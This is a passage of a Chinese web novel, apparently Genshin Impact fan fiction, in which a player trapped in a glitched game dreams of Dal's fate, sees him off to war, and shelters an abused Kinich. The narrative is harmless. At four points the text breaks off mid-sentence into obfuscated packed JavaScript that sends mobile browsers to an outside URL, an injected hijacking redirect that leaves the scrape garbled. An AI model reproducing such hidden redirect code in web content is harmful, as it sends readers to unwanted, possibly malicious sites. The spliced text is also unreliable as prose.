0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982080|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“你和其他孩子都不一样——别的像你一样大的孩子,听到深渊都会害怕,而你似乎很冷静?” 基尼奇回过神,垂着头回答:“恐慌无济于事,冷静才会让我们更全面地考量局面。” “哈哈哈,说得好,”长老大笑,“我是利克,很高兴见到你这样的后辈。” “我是基尼奇。” “基尼奇?”长老愣了愣,皱皱眉,“你就是——” 他叹了口气:“难怪如此冷静。” 我猜他应该是知道基尼奇的身世。 基尼奇没说话。 气氛陷于沉默,我开口道:“请问利长老,深渊界门是指什么?” “……我是利克长老,不是利长老,”利克指了指远处的山崖下,“深渊界门就是连接深渊与现实的接口,会源源不断地涌入魔物。我们派出战士的目的,就是堵住这个界口,不让魔物肆虐其他地方,直至界口消失。” 那看起来应该和深渊裂缝差不多。 基尼奇想了想,转头征求我的意见:“我们先待在这里,现在出去不安全。” 我点了点头。 * 这场小规模的深渊袭击,耗时说长不长,说短也不短。总之,我美好的下午茶散步时光是彻底泡汤了。 直到夕阳落到山头以下,疲惫的战士们才从地平线的方向归来。 利克长老连忙带人迎了上去。 我看向基尼奇:“我们去看看吧,我有些好奇情况。” “好。” 人群围着战士们欢呼,我的身高不够,踮着脚也没能看清里面的情况。 基尼奇颇有情商地替我转播:“界门消失了,深渊魔物没有四散,这场保卫战打赢了。” 我满意地点点头。 “似乎有一个人受伤了……就是刚才我们说的那个没有神之眼的侦查师。” 啊? “那好可惜,他是不是不能参加巡夜者战争了?” 见识过深渊魔物的狡诈与危险之后,我不认为伤患还能上战场。 “大概,”基尼奇说道,“战场瞬息万变,火神大人应该会挑选备用人选。但是具体上不上战场,还要看本人的想法。” “但是按照维查玛的性格,他大概率会因为担心拖累队友,选择不去。” 叫维查玛吗?我记下这个名字,以备不时之需。 人群渐渐散去,叫维查玛的侦查师似乎被他的战友搀扶着回去了,由于身高不够,我也没能看清他到底长什么样子。 基尼奇看向我:“我们回去吧,你的身体还需要调理。” 最后一缕滚烫的金色夕阳光线照在山头上,我感觉到了一道分外阴鸷的视线,于是便朝刚才利克长老所指的深渊界门方向瞥了一眼。 那里,一个披着斗篷的神秘人正在看我。 明明隔了这么远,我脑海中似乎还是浮现出了一双诡谲的眼睛。 紫黑色的暴虐元素在其中流窜——那是深渊的感觉。 我顿住脚步,想仔细看清。 下一秒,那道人影消失在光线中,似乎从头到尾都是我的幻觉。 我揉了揉眼睛。 “怎么了?”基尼奇问我。 “……应该是眼花了,没什么。” 19. Chapter18 基尼奇把我送回了大树屋。 “记得喝药。” 他递给我一袋新的灵花草药,接着嘱咐了我几句,就赶紧回山脚下查看自己家的情况了。 一下午的兵荒马乱,让我的精神一直处于紧绷状态,再加上深渊侵蚀的后遗症,我连饭都没吃,一回到房间就瘫倒在床上。 半睡半醒间,我似乎听到有人在呼唤我的名字。 “伊迷——” 我在这儿。 我下意识地想喊出这句话,然而却感觉嘴里像被灌了千斤重的水泥一样,根本无法撬动分毫。 怎么回事? 我在做梦吗? 我伸出手揉了揉眼睛,眼前的景象逐渐清晰,纯白色的空间在我眼前徐徐展开。 “我在这儿。” 再熟悉不过的声音响起,我猛地回头。 另一个[我]站在我的身后,漆黑无比的眼眸正注视着前方。 ——那双眼睛里,并没有我的倒影。 “伊迷,说了多少次,家里有客人的时候不能穿睡衣和拖鞋。” “就是啊,伊迷,要听你妈妈的话啊,快去换!” 我愣了愣,随即看到两道身影出现在色彩的彼端。 另一个[我]听到这两句话似乎顿了一下,随即乖巧地跑去卧室换上了正装和小皮鞋。 “爸爸,妈妈。” “换好了啊——那就去给你王叔叔弹个琴吧。” “好。” [我]向围观的指指点点的叔叔阿姨们鞠了个躬,然后以极其标准的舞台表演姿态坐上了高高的琴凳,开始演奏。 琴键上,我看见[我]的手指微微发白,似乎很用力的样子。 一曲终了,掌声雷动,似乎宾主尽欢。 “这孩子真不错!” “是啊是啊,都是伊总和夫人培养的好!” [我]听见这些夸奖,似乎很高兴的样子,悬在半空中的两条小短腿微微摇晃。 我心里嗤笑。 谈完各种企业事务后,宾客们纷纷离去。 踩着高跟鞋的女人面上挂着温柔的笑,直至最后一位客人的身影在门口消失,才转头过来。 果然,如我所料,她保养得体的脸上是毫不掩饰的不满意和怒气。 “伊迷,你自己听听刚刚你弹的是什么东西?弹这么用力是要把钢琴砸了吗!” 一旁西装革履的男人亦是皱着眉:“坐在琴凳上还在晃腿,这就是你妈教给你的礼仪吗?” 女人不可置信地转头:“你说什么?!” “我倒还要问问你,谁把伊迷带成在家里穿着睡衣到处乱跑的德行呢!” 又是一场吹毛求疵的争吵。 对于互不相爱甚至是成为彼此阻碍的一对夫妻来说,这是家庭常态。 我对这些心知肚明,因为我曾花了数十年来体味这种氛围。 但显然,面前这个小不点,并不很懂为什么爸爸妈妈老是挑自己的错,又为什么因为这些小事争吵。 [我]焦急地向前,想要中止这场闹剧。 “爸爸妈妈,是伊迷错了,你们别吵了——” 混乱中,没人在意一个本就不重要的小孩,不知道是谁推搡了一把,[我]失去了平衡,摔在了地上。 我叹了口气,准备上前去把另一个自己扶起来,再告诉自己,没必要获得这两个虚伪人的认可,也没必要继续充当这个混乱家庭的遮羞布。 但我刚向前走了一步,整个空间又倏地化为乌有。场景变成一个个碎片,在纯白色的光幕下流转,最终消弭。 取而代之的是一道挺拔的身影。 不知道为什么,看见这道身影轮廓的瞬间,我的心里忽然泛起一阵不知名的感情,就像是骤然下起陈年的秋雨。 那道身影屹立于白色正中,头颅高昂,似乎在和远方的一个巨大幻影对话。 幻影道:“你确定要坚持你的做法?” 我怔了片刻,意识到这道声音与当初我与火神神像共鸣时听到的那道声音出于同一个人。 “嗯。” 那道身影开口,嗓音低沉而纯澈。 好熟悉的声音,但我想不出来我在哪里听过。 幻影静了片刻,接着说:“即使你可能永远停泊于虚妄与真实的分界点?” “对。” “即使你遗忘所有过去?” “对。” 幻影似乎叹了口气:“既如此,便去吧,我的孩子。” “漂泊者等待着归来。” 我有些疑惑。去哪?什么漂泊者? 梦境来不及等我思考,便跳转到下一幕。 这一幕的场景更加真实,几近混同现实。 灰暗的天幕下,烧焦的山体泛着火星,破烂的旗帜在风中烈烈作响。 我认得旗帜上的标识,那是悬木人的图腾。 我想了想,觉得这里有点像战场。 果然如此,片刻以后,几个战士搀扶着朝我这个方向跑来。 只不过,其中有一人出乎我的意料——那是达尔。 我有些惊讶。 我知道自己现在应该是做梦,梦的内容扑朔离奇是正常的,但我没想到自己会梦到达尔的巡夜者战争。 达尔似乎已经很累了。一行人走近之后,我才发现,他们几个几乎都受了很重的伤,胳膊上,大腿上,乃至于脸颊上,都留着血液和伤痕。 尤其是达尔,这家伙明明这么强,居然还被敌人在脸上划了一道。 狰狞而可怖的伤口斜斜地从眉心一直刺穿到下颌,达尔闭着一只眼,另外一只眼中还混合着干涸的血液,那双火红色的眼睛第一次显出疲惫无奈。 我有些失语。 我为什么会梦到这些内容,难道是因为我太担心达尔了? “……穆尔科,你别睡啊。咱们两个比赛,谁先睡着谁回去请喝酒——” 我听到达尔疲惫而沾染着笑意的声音。 “你这家伙……比就比,我单挑比赛还没输过呢——” 远方,层峦起伏的山脉间,我似乎看见了紫色的深渊元素力在肆虐。 我一转头,想继续看看达尔的情况,却发现那两人已经不在原地了。 眼前的场景又开始变幻,又变成了纯白色的景象。 这次出现的场景是我小时候的记忆。 这些记忆似乎已经落了灰,有很多还是不算好的回忆,我实在不想再自己看一遍。但是,我发现我又没什么办法从这些走马灯里脱离出来。 我只好被动地站在原地。 过了不知道多久,我终于感到头晕眼花的时候,一道温暖的元素力突然从我额头上的发带里传出来,钻进眉心。 随即,我猛地睁开了眼。 眼前终于不再是梦魇,而是银白色月光照耀下的大树屋。 我听见东方的鸡鸣奏响,摸了摸头上的发带,心里说不上是什么滋味。 * 一夜无眠。 第二天一大早,我就跑去问达利也。 “达利也达利也,达尔哥哥住在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982081|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪里啊?” “达尔?”达利也挠了挠头,“这个我也不知道。但是如果少爷想要找达尔小英雄的话,现在到圣火竞技场就可以了——中午的时候,六位归火圣夜巡礼的优胜者要在那里会和。在圣火和还魂诗的祝福过后,他们会一起去巡夜者战争的战场。” 我点了点头,刚踏出半只脚就被喊住了。 “少爷,您要是想去圣火竞技场的话,不能一个人去哦。中间的路程可不算近,也不算安全。” “呃,”我想了想,“我去找基尼奇带我去。” 达利也思考了一会儿,表示同意:“这个可以。少爷喊上朋友一起去,刚好可以给达尔小英雄加油鼓气!” 我不再耽误,转身就朝基尼奇家的方向跑了过去。 * 在河边找到清晨起床打渔的基尼奇后,我们一起朝圣火竞技场出发。 “你要去给[帕洛特]的达尔送行?” 出发后,基尼奇问我。 “不对,”我走的很急,“我不是给他送行,我是想劝他别去。” 我总感觉昨晚最后的梦境让我很是不安。 前两个梦境还看起来像是没头没尾的做梦,后面的杂乱记忆用睡梦解释也能说通。 但最后一个梦境—— 我从未参与过巡夜者战争,也没有见过除了达尔之外的其他优胜者。而昨晚的梦境却如此真实,不仅是场景,甚至是人名和伤痕。 我觉得这里面有些不祥的兆头。 也不知道是不是我想多了——这种原因也有可能,毕竟我才从深渊精神污染的后遗症中恢复过来,昨天又和深渊袭击撞上了。 “劝他别去?”基尼奇很惊讶,“为什么?” “我感觉有不好的事情要发生。” 基尼奇默了默,说道:“但现在的话恐怕有些来不及——今天中午他们就要出发了,现在换下达尔的话,来不及找到备用人选。而且,出征前夕被换下,如果没有合适的理由,恐难以服众。” 我有些心焦气躁:“不能直接取消今年的巡夜者战争吗?” “这个不大可能,”基尼奇分析道,“承载着荣耀只是巡夜者战争的表象,更深层次的,巡夜者战争也是对抗深渊的实现方式,不仅可以直接遏制灾害,里面会产生的精神力量也会滋润圣火,庇护纳塔。” “……”我苦恼地揉了揉太阳穴。 基尼奇瞥了我一眼,问:“到底怎么了?” “虽然这样说感觉很幼稚,”我斟酌道,“其实是因为我昨晚梦到达尔在巡夜者战争中失利了。” 基尼奇愣了片刻:“这样啊。可能是因为你担心达尔,才会做这样的梦吧。以我的角度来看的话,[帕洛特]的达尔是几十年来悬木人最天纵奇才的一个人,深渊要是想要伤到他,估计还是要费不少力气。” 天纵奇才吗? “况且巡夜者战争是允许阵亡的。只要小队里有一个人存活并且成功完成了歼灭深渊的任务,全队人都可以复活。” 基尼奇这样说,我稍微安心了一点,但还是有些忐忑。 基尼奇观察着我的脸色,半晌接着说:“既然你担心的话,你可以试着劝一劝,即使没办法让他不参与,提醒下他注意安全,也是有意义的。” 基尼奇说得对。无论如何,我得把这个消息告诉达尔。虽说达尔只是个游戏NPC,但我很喜欢他,不想他遭遇什么不测。 毕竟达尔可是我的老师,也是除了基尼奇外,会无条件对我好的人。 就像无微不至的阳光。 20. Chapter19 我们在巡夜者小队出发之前到达了圣火竞技场。 这里依旧很热闹。金黄色的圣火悬于高天之上,混着天光,将整片竞技场染得一片灿烂。竞技场里,各个部族的人都聚集于此,欢呼呐喊,觥筹交错,给他们的英雄送行。 我在花花绿绿的人群中,找到了达尔的身影。那家伙斜斜地挎着一个武器包,正在和另一个人勾肩搭背,似乎在谈论什么开心的事情,笑得颇为夸张。 看到他还活蹦乱跳,我稍微安心了一点。 旁边的基尼奇也发现了达尔。 他拍了拍我的背,随后退到一边的摊位旁,把空间留给我和达尔。 我犹豫了一阵,凑了上去。 忽然,达尔旁边的那个人转身,视线落在我身上。 “……达尔,这个小朋友是来找你的吗?” 达尔看到我愣了一下,随即惊喜地咧开嘴角:“小伊迷,你来给我送行啦!” 我有些沉默,本来着急过来劝他,看到他之后反而不知道如何开口。 “怎么了?”达尔察觉到我的异状,蹲下来,火红色的眼眸专注地看着我。 我没话找话道:“呃……我昨天遇到深渊了。” “这个我知道,”达尔帮我理了理稍微有些跑散的发带,“昨天深渊界门突然出现在悬木人,我还担心了很久呢。” “后来听说维查玛他们解决了入侵,我才放心呢。不过,你有我给你的符箓,安全应该也不是问题。” 我点了点头,问道:“维查玛受伤了,那他还要参加巡夜者战争吗?” 达尔叹了口气:“维查玛出于对队友安全和克敌效率的考虑,说他不去了——真可惜,为部落征战的机会很少的。” 这样吗。 既然他都说可惜了,说明达尔自己也很在乎这次巡夜者战争。 那我还要劝吗? 我硬着头皮问他:“那你能不能也退出,少了一个人不安全——” 达尔怔了怔,随即笑了笑:“说什么胡话呢,我可是拥有[责任]的古名呢,不能临阵脱逃啊。” 他似乎想到了什么,眼神变得揶揄。他凑到我耳边,悄悄说:“你不会是舍不得我吧?” “舍不得个鬼,”我无语道,“我只是……呃,反正你能不能不去。” “诶呀,小朋友还会担心人了,”达尔站起身,伸了个懒腰,叉着手臂说,“不用太担心,火神大人另外派了一个人加入我们的队伍,那个人也很强的。况且,你也见识过老师的能力,我可是悬木人的[帕洛特]呢。” 我知道自己没办法劝动他了。 我在心里安慰自己,没关系,肯定是深渊的精神污染搞的鬼,达尔这么强,又有还魂诗,肯定能平安归来。 作为故障游戏的玩家,我没办法改变纳塔的规则,那不如就相信达尔吧。毕竟除了相信他和等待他,我也没有别的办法了。 “你要是实在担心,可以每天都确认一遍我挂在你身上的符箓哦。” 达尔摸了摸我的头,手心很温暖。 “只要符箓还在,我就没事。” 我看了一眼腰侧系着的红色符箓,手指不自觉地摩挲了一下符纸。 最终,我让步:“那你尽快回来,我等着你。” “当然!”达尔大笑,“我还得教你元素力,帮你得到神之眼呢!” 绵长的号角声刺破嘈杂的空气,烈日之下,达尔朝我挥了挥手。 火焰将他的身影拉得分外高大。我的身侧,红绳系着的符箓随风飘扬。 * 基尼奇被我拉着又浪费了一上午时间,我有些不好意思。之前养病的时候,基尼奇也常来看望我,我正想好好感谢他,转头却瞥见了他露出的脖子上已经结痂的新鲜伤口。 我皱了皱眉:“基尼奇,你最近家里怎么样?” 一旁的少年顿了顿,说:“还好。” “那个酒鬼没有再做什么事情吧?” 基尼奇伸手接住了一片落叶,眸光微动:“他最近忙于归火圣夜巡礼和巡夜者战争的准备工作,很少有空待在家里。” 我指了指他的脖子:“那这道伤口怎么来的?上回见面还没有。” 基尼奇沉默了一会儿,道:“对不起。” 你对不起什么。 我突然想到了前些时间每天都会按时送来的珍贵灵花,心里冒出一个想法:“不会是因为你给我采药被他发现了吧。” 他没有说话。 果然如此。 我伸手小心翼翼地碰了碰他的伤口:“疼不疼?” “……还好。” 还好个鬼,都打到脖子上来了,别的看不到的地方肯定也伤到了。 我叹了口气:“以后你要是不想待在家里,可以来大树屋和我一起住。” 基尼奇似乎很疑惑:“大树屋?” “戏称而已啦——就我家房子。反正没人管我,你直接来我房间也不会有人说什么。” 基尼奇点了点头。 “一会儿跟我回去一趟,我给你拿点药,”我戳了戳他,“这几天别扛颗粒果了,我委托你跟我玩,我待在家无聊得都快发霉了。” 基尼奇似乎在犹豫。 我跳到他面前,直视着他苍绿色的眼睛:“到底来不来?” 半晌,他别开脸:“好。” * 没想到刚说完自己无聊,事情就来了。 送走基尼奇后,我看着对面的鬼畜哥,语气算不上好:“有何贵干?” 他依旧穿着初次见面时深蓝色的狩猎服装,只不过,这次他看我的眼神,从轻蔑变成了探究。 看来他还是把我当成他的竞争对手。 我忍不住开麦:“你不必用那种眼神看我,你想要的东西我未必稀罕。” 他愣了愣,随即装傻道:“我想要的东西?少爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982082|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在说什么?” 呃。 他应该是觉得我不知道他是私生子。其实我想吐槽很久了,这么大的家族,便宜爹跟阿雅克天天乱晃,难道没有一个人发现他们长得很像吗? 这种公开的秘密还有什么隐藏的必要。 算了,还是不拆穿他了。 “有话快说。” 阿雅克短促地笑了一声:“少爷,身为族里的继承人,可不能天天出去和一些野小子乱逛啊。” 他特意强调了“继承人”和“野小子”两个词。 我懒得理他:“如果你是来提醒我的话,我认为你的话没什么分量。” 阿雅克又笑:“我可不敢提醒您,是老爷对少爷的行为颇有不满。” 我皱着眉看向他。 “所以,老爷托我来教您,如何处理族务。” * 这次,阿雅克主动为我打开了他房间的大门。 如果系统没故障的话,我觉得我应该能听到支线任务“探索家庭秘辛”开启的提示音。可惜这抽风系统是个时而播报时而死机的故障货。 对于处理族务,我倒是没有多少抵抗心理,反正闲着也是闲着。况且,种种迹象已经表明,我的这一族在纳塔的地位很特殊,风格又与纳塔格格不入,处理族务是了解这个奇怪现象的最快的方法。 “这个是家族账务本,每年主支和各个分支都会定有固定份额的流水,目前少爷需要做的,就是核对这些数目的总和是否正确。” 阿雅克指了指面前厚厚的一摞账册。 算数吗?这个我会。 “这个是家族判案集,里面记载了今年的一些族内纠纷,这个不需要改动。少爷需要做的,是学习里面的裁判精神。” 我稍微翻了翻,感觉这个跟家族秘闻应该关系大一些。 不过,我感到非常惊讶,不是因为这两册书目的内容,而是因为阿雅克的态度。 这人在办公事的时候,显得非常正经可靠,跟平时的鬼畜心机哥的形象大相径庭。 我好奇地抬头。 阿雅克似乎看见了我的神色,又恢复了平时的欠揍语气:“啊,少爷是想问我为什么这么耐心教您吗?” ……真牛,装都不装了,这么直接就问出来了。 我索性也摊牌:“对,我感觉你并不喜欢我。” “怎么会呢,我可是,最,喜欢,您的人呢。”他一字一顿地说。 呃。果然还是抽风神经病。 我放弃跟他沟通这个话题。 “我可以把这些拿回我自己的房间吗,”我指了指两摞书,又指了指他的房间布置,“你这房间太渗人了。” “当然可以。” 阿雅克喊了一声达利也,让他来帮我搬书。 我离开之前,阿雅克说:“我很期待您的成长呢。” 我脚下一个踉跄。 原来你还有这种属性?! 21. Chapter20 我花了将近一下午看阿雅克交给我的资料。 账本那个倒是没有什么奇怪的,我只是有些惊讶自己所在的这一族人群居然如此庞大,铺张浪费也很夸张。 判案的话,倒是有值得注意的地方。 这本案例里面涉及的绝大部分当事人都是本族人,甚至连本族外的悬木人也少之又少。 但是,凡是人际交往势必会产生矛盾,矛盾纠纷的化解又往往依靠外力,这便会出现裁判。如果整整一摞案例都没有出现外族人的话,那只能说明一件事情。 ——我所在的这个族群封闭得可怕。 其实这点我早有预料。 一方面,从外面的人,包括基尼奇、达尔乃至于其他纳塔人的态度来说,他们对我这一族知之甚少。基尼奇知道我的身份却不知道我的名字,达尔也只是与我这一族签订了约定,当初回声之子的族长也称我这一族为“那一族”。 另一方面,便宜爹带领的族人似乎也很少与外界有所交流。达利也打听基尼奇都花了很长时间,当初基尼奇说全族的男人女人都要参加归火圣夜巡礼的准备工作的时候,我这一族居然一个去参加的人都没有,反而举行了盛大的游猎会。 估计就是这种封闭性导致了我这一族的生活习俗与悬木人乃至纳塔大相径庭。 我心中又觉得这是游戏设定冲突。 按理说,在以部落社会为主题的全息游戏里,不会出现这么割裂的族群,更不可能为了融入一个玩家,凭空捏造一个族群出来。 这样做对玩家探索和完成主线太过不友好了。 所以这种违和感到底为什么产生? “叩叩——” 正当我沉思的时候,房门被敲响了。 我使劲揉了揉脸:“请进。” 一抹苍绿色的颜色出现。 “嘿,”我朝基尼奇挥了挥手,“来咯?” 小家伙还挺乖,说委托他陪我玩儿还真陪我玩来了。 基尼奇似乎对我房间里的装潢很感兴趣,又瞥了一眼墙角成堆的毛绒娃娃。 他指了指它们,淡声道:“你很喜欢毛绒玩具吗?” 我装作不在意:“小时候很喜欢?” “哦,现在不喜欢了?” 我强装镇定:“……一般。” 这家伙刚才好像笑了,不对,他肯定在嘲笑我。 基尼奇看见我趴在堆着纸张的桌案上,问我:“你在做什么?” “阿雅克——就是我的,呃,侍从,说我爹让我帮忙处理一些族务,我看了一下午了,现在眼睛酸死了。” 基尼奇顺水推舟:“那要不出去走走?” “不会又遇见深渊吧?”我现在对散步已经有阴影了。 基尼奇想了想,似乎真的在考虑这种可能性。半晌,他说:“不会的,深渊不会两次袭击同一个地方。况且从上次以后,悬木人已经加强了防备。眼下,深渊更重要的事情,是应对巡夜者小队的威胁。” 我看着他认真分析的小脸忍俊不禁。 “行了,出去散散心,”我合上资料,跳下凳子,“看了一下午也挺闷得慌。” * 正是夕阳将落的时候,昨天这个时候,我们还在面对深渊的袭击。 我伸了个懒腰,转头看向旁边安静的基尼奇:“基尼奇,你怎么看我所在的这一族?” 基尼奇似乎被问住了,他想了想,斟酌道:“我了解得也不多,总的来看,应该是比较神秘的一族。” “神秘?为什么?因为不常和外族人交流吗?” 我们沿着悬崖向高处走,天色也逐渐变暗。 “不常交流只是一个方面。在我的印象里,你所在的族群里,似乎没有人参加过归火圣夜巡礼。” “啊?” 这倒是我不知道的。 “应该是这样。”基尼奇拉着我避开地上凸起的藤蔓。 “是因为纳塔的排斥和限制吗?” 说完这句话我就后悔了,因为我的语气实在不像我自己也是纳塔人。 好在基尼奇似乎没在意:“并不是,这个应该是你们族群的习俗规定。” “——纳塔的所有重大活动,你所在的族群几乎都不参与。” 这样啊。 基尼奇忽然又说道:“你倒是个例外。” 我摸了摸鼻子:“你是说我什么事都要凑上去吗?” 其实我也很怕麻烦的,只不过是身在困境中,不得已而为之。 我们终于走到了悬崖的最高处,遥远的星空在我们头顶闪烁。 “并不是,”基尼奇拉着我坐在一块平整干净的岩石上,“我很喜欢你现在的模样。” 我愣了愣,难得有些害羞。 “我只是在说,有些时候,不要太过焦虑,你似乎总是想做很多东西。”他顿了顿,“就像我之前说的,过程也是一种体验,有些事情,慢慢来,总有一天会成功的。” 说到最后的时候,他似乎有些失落。 基尼奇一口气说了这么长的话我还有些不适应,有些时候我甚至觉得他成熟得简直不像个七岁小孩。 不过他说的也是,来到这个故障游戏了以后,我几乎每天都在为了出游戏而努力,无论是与基尼奇的交往,还是游猎会的夺冠,乃至于向达尔学习元素力和进兽境,都让我疲于奔命,很难停下来真正享受游戏的乐趣。 “唉。”我叹了口气,没有回答基尼奇的话。 纳塔夜晚的风分外和煦,没有白天的燥热,也并不寒冷刺骨,只是像一团恰好的水,人置于其中,很容易就放松下来。 我们就这样各怀心事地沉默下来,看着头顶的天空。 良久,我都快要睡着的时候,基尼奇终于开口:“走吧,伊迷,夜凉了,该回去了。” “好。” * 按照悬木人部落里的说法,巡夜者战争一般要半个月左右,时间还挺长。所以于我而言,每天早上起来第一件事,就是看一看符箓是否完整。 接下来的几天,我都在看阿雅克送来的卷轴中度过。 基尼奇每天傍晚都会来陪我吃饭,然后散散步,这也是我们“委托”履行的一部分。 但是今天晚上,基尼奇却没有如约赶来。 我看得眼睛都犯花了,还是没能等来他。 “达利也,”我冲门外喊道,“基尼奇今天来过吗?” “哎,少爷,”达利也端着个盘子从外面进来了,“少爷的朋友今天还没来过呢——出什么事了吗?” 我看着达利也把菜品一样一样地摆上来,心里有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14982083|161500||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担忧。 “这家伙不会遇到什么麻烦了吧?”我自言自语道。 “少爷别太担心了,”达利也傻笑,“少爷的朋友看起来很聪明,不会有什么事的。” 聪明也未必,我看基尼奇倒是很好骗,我腹诽道。 “不行,”我皱了皱眉,“我得去看看。” 巡夜者战争开始有很多天了,基尼奇的便宜爹应该现在闲下来了,该不会又在搞事吧? 想到这个,我立马站起身来,朝达利也挥了挥手:“麻烦你摆菜了,先收起来吧,等我去基尼奇家看看,把他带过来再吃。” “唉——” 不等达利也说话,我就冲了出去。 到达基尼奇家的时候,我果然看到一地狼藉。 基尼奇正捂着胳膊拾掇地上的碎瓷片。 我环视了一圈,没有找到他的便宜爹:“你又挨打了?” 基尼奇听到我的声音愣了一会儿,随即抬眸望来:“你怎么来了?” “我说,”我凑近,把他拉起来,然后替他捡好了碎片,“你是不是忘了今天要陪我的事啊?” 他默了默:“等我收拾完东西就去。” “行,”听到他的保证,我把碎片扔进废篓,拿了个小板凳坐了下来,“阿姨呢?” 基尼奇垂着头:“出去买菜了,没有碰到那个酒鬼。” “那就好——等等,买菜?你们不是一般自给自足吗?” “对,平常的日子是的,但是最近收成不好。” 这小闷葫芦,遇到事了也不跟我说。 我气笑了:“他就因为这个才打你的吗?” “大概。” 我看着基尼奇收拾完乱七八糟的屋子,然后转头问我:“走吧?” 我点点头,然后扯过他的胳膊:“我看看你的伤口。” 伤口还流着血,应该是瓷片划的。 “你天天都在受伤,基尼奇。”我冷冷地说。 基尼奇缓缓抽回手:“他今天喝多了。” “我得想个办法,让你们尽快和这个人渣分开才行。” 基尼奇怔了片刻,说:“不必——再忍忍吧,等我成年——” 听到他不以为意的声音我就来气:“你的意思是你还要再挨十年打?” 基尼奇没话说了。 算了算了,我和他生什么气。 到达大树屋的时候,达利也正在门口担心地张望,看到我们两个的身影才放心下来。 “少爷可算回来了,菜都凉了。” 他看到基尼奇,惊呼道:“小奇这是怎么了?伤成这样!” “行了别说了,”我扶额,“快去拿药给他包扎下,然后找人把饭热热,今晚他住这里。” “哦,哦,好,我这就去。” 基尼奇没有发表意见,默许了我对他夜宿的安排,大概是为刚才的还嘴感到心虚的原因。 达利也很快拿来了绷带,给基尼奇缠上。 这人缠绷带的时候还挺乖。 “算了,”我大度地说,“看在你乖乖的份上,刚才的还嘴我就不追究了。” 基尼奇似乎笑了一下:“谢谢少爷。” 笑得有点勾人,我承认这家伙长得还不错。 还好这不是个攻略游戏。 22. Chapter21 吃过饭,天色已经很晚了。 由于我在家里的地位也很尴尬,我又不想跟便宜爹多说话,而且我和基尼奇也都是男生,所以我决定让基尼奇和我睡一间屋子。 我戳了戳基尼奇的手,调侃道:“怎么样,愿意吗?” 基尼奇点点头。 “那行,达利也,帮我找一床干净的被子,”我喊道,然后看向基尼奇,“我睡觉应该还算安稳,不用担心。” “好。” 本来计划很完美,但是睡上去之后,还是感觉床小了点。 我躺好,然后翻了个身看向外侧的基尼奇:“你占位置好大,基尼奇。” “对不起,”基尼奇诚恳道,“我不该长这么高。” ……感觉这家伙有点腹黑。 “行了,关灯睡觉。晚安,小基尼奇。” “晚安。” 一夜无梦。 第二天早上,我刚睁开眼睛,准备伸个懒腰,手就打到了一个东西。 哦,基尼奇还在我旁边。 我转头一看,他似乎已经醒很久了,苍绿色的眼眸正一眨不眨地看着我。 “……早,”我揉了揉眼睛,“怎么醒这么早,没睡好吗?” 他顿了顿,嗓音里还带着清晨的沙哑和低沉:“早,伊迷,生日快乐。” “——希望你以后每一天都心想事成、平安健康。” 啊? 今天是我的生日吗? 我愣住了,随即反应过来。 算了算,也大概该到了,我来到这个游戏已经几个月了,虽说游戏时间与现实世界的时间并不等同,但入乡随俗,这个游戏也有自己的计时规则。 我笑了笑,捏了捏他近在咫尺的脸,触感挺好:“谢谢小奇老师。” 我从床上跳起来,准备穿衣服。 “今天有什么打算吗?”基尼奇也坐了起来,在我身后问道。 “打算?”我理了理头发,给自己系好发带,“没有。继续看书?” 基尼奇默了默:“生日不想过得特别一些?” 说实话,以往的生日我倒是会过,但也是一个人过,偶尔也会收到父母的转账。小的时候我还会给自己买个生日蛋糕,点燃蜡烛,然后许愿、吹灭。但后来越过越没意思,又嫌麻烦,所以干脆就不过了。 这个游戏里也有蛋糕之类的东西吗? 我诚实道:“我没什么想法,你觉得呢?” 基尼奇思考了一会儿,说:“你先待在家里,下午的时候我来找你。” 我表示同意。 基尼奇见状就从床上起来,以非常迅速的动作打理好自己,然后朝门口跑去。 “下午见。” 房间外,达利也看见跑出去的基尼奇,也知道我醒了,于是就进来,笑着对我说:“生日快乐啊,少爷!” 怎么每个人都知道我要过生日了?谁传出来的消息。 达利也背着手,凑了过来。 我眯了眯眼:“你身后拿东西了?” “少爷真聪明,”达利也傻笑,“这个啊,这个是达尔小英雄出征前交给我的,说是提前给少爷准备的礼物呢!” 达尔也知道我的生日? 我有些兴奋:“拿来看看拿来看看!” 达利也从背后拿出来一个长长的盒子,然后小心翼翼地递给我。 